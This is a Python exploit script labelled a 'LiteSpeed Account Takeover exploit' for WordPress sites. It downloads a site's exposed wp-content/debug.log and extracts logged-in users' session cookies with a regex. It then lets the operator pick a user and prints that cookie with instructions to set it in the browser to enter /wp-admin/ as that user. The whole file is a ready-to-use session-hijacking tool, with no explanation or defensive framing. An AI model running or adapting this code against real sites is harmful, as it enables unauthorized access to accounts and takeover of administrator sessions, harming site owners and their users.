exploit.py

import re
import sys
import requests
import argparse
from urllib.parse import urljoin
from colorama import Fore, Style



def extract_latest_cookies(log_content):
    user_cookies = {}

    pattern_cookie = re.compile(r'Cookie:\s.*?wordpress_logged_in_[^=]+=(.*?)%')

    for line in log_content.splitlines():
        cookie_match = pattern_cookie.search(line)
        if cookie_match:
            username = cookie_match.group(1)
            user_cookies[username] = line

    return user_cookies


def choose_user(user_cookies):
    print(Style.RESET_ALL + "Enumerating logged in users:", end= ' ')
    users = list(user_cookies.keys())
    if users:
        print(Fore.GREEN + "done.")
    else:
        print(Fore.RED + f'nope.')
        print(Style.RESET_ALL + "There is some hope, but you should try again later...")
        exit()


    # Display user options
    print(Style.RESET_ALL + "Select a user to impersonate:")
    for idx, user in enumerate(users):
        print(Fore.GREEN + f"{idx + 1}. {user}")
    
    # Get the user's choice
    choice = int(input(Style.RESET_ALL + "Pick a number: ")) - 1
    
    if 0 <= choice < len(users):
        selected_user = users[choice]
        return selected_user, user_cookies[selected_user]
    else:
        print(Fore.RED + "wtf...")
        exit()


print()
print(Fore.BLUE + "\t\t --- LiteSpeed Account Takeover exploit ---")
print("\t\t      (unauthorized account access)")
print(Fore.RED + "\t\t\t\t\tby gbrsh@secragon")
print(Style.RESET_ALL)


parser = argparse.ArgumentParser()

parser.add_argument('url', help='http://wphost')

if len(sys.argv) == 1:
    parser.print_help()
    print()
    exit()

args = parser.parse_args()

print(Style.RESET_ALL + "Looking for debug:", end=' ')

log_file_url = urljoin(args.url, 'wp-content/debug.log')

response = requests.get(log_file_url)
if response.status_code == 200:
    log_content = response.text
    print(Fore.GREEN + "done.")
    ucookies = extract_latest_cookies(log_content)
    choice, cookie = choose_user(ucookies)
    print(Style.RESET_ALL + f"Go to {args.url}/wp-admin/ and set this cookies:")
    print(cookie.split(']')[1])


else:
    print(Fore.RED + f'nope.')
    sys.exit(1)